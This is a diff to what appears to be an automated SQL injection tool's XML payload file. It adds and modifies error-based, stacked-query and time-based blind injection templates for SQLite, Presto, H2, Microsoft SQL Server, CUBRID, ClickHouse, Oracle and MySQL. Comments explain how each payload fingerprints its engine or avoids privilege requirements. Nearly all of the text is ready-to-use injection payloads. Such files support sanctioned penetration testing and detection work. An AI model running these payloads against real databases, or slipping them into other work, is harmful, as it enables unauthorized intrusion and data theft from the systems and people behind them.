<!-- ROTATELEFT (H2-exclusive) encloses the value-bearing INT cast: reflects on H2, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
|
||||
<payload>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -937,9 +1120,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
|
||||
<vector>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
|
||||
<payload>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -986,17 +1169,93 @@
|
||||
<dbms>Spanner</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- SQLite: an invalid JSON path is the one construct that errors and echoes its argument (needs JSON1) -->
|
||||
<test>
|
||||
<title>SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>>= 3.9</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>>= 3.9</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Presto/Trino: PARSE_DATA_SIZE is engine-exclusive and echoes its argument ('Invalid data size: X') -->
|
||||
<test>
|
||||
<title>Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Presto</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Presto</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - LIMIT clause -->
|
||||
<test>
|
||||
<title>MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
@@ -1582,13 +1841,29 @@
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - stacking -->
|
||||
<test>
|
||||
<title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
|
||||
<request>
|
||||
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||
<stype>2</stype>
|
||||
|
||||
@@ -207,7 +207,7 @@
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<risk>3</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
@@ -229,7 +229,7 @@
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<risk>3</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
@@ -328,6 +328,48 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
|
||||
<request>
|
||||
<payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
|
||||
<request>
|
||||
<payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
|
||||
<stype>4</stype>
|
||||
|
||||
@@ -11,9 +11,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -31,9 +31,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -51,9 +51,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
||||
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -71,9 +71,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
||||
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -91,9 +91,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
||||
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -112,9 +112,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
||||
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -133,9 +133,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -154,9 +154,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -339,9 +339,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<request>
|
||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
||||
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -359,9 +359,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<request>
|
||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
||||
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -380,9 +380,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -400,9 +400,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -421,9 +421,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -441,9 +441,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -460,9 +460,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -480,9 +480,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -1092,6 +1092,45 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID AND time-based blind (SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
|
||||
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID OR time-based blind (SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1494,6 +1533,44 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>ClickHouse AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1586,9 +1663,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1606,9 +1683,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1666,9 +1743,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1685,9 +1762,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1704,9 +1781,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -1776,6 +1853,26 @@
|
||||
</test>
|
||||
|
||||
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
||||
<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
|
||||
<test>
|
||||
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3,9</clause>
|
||||
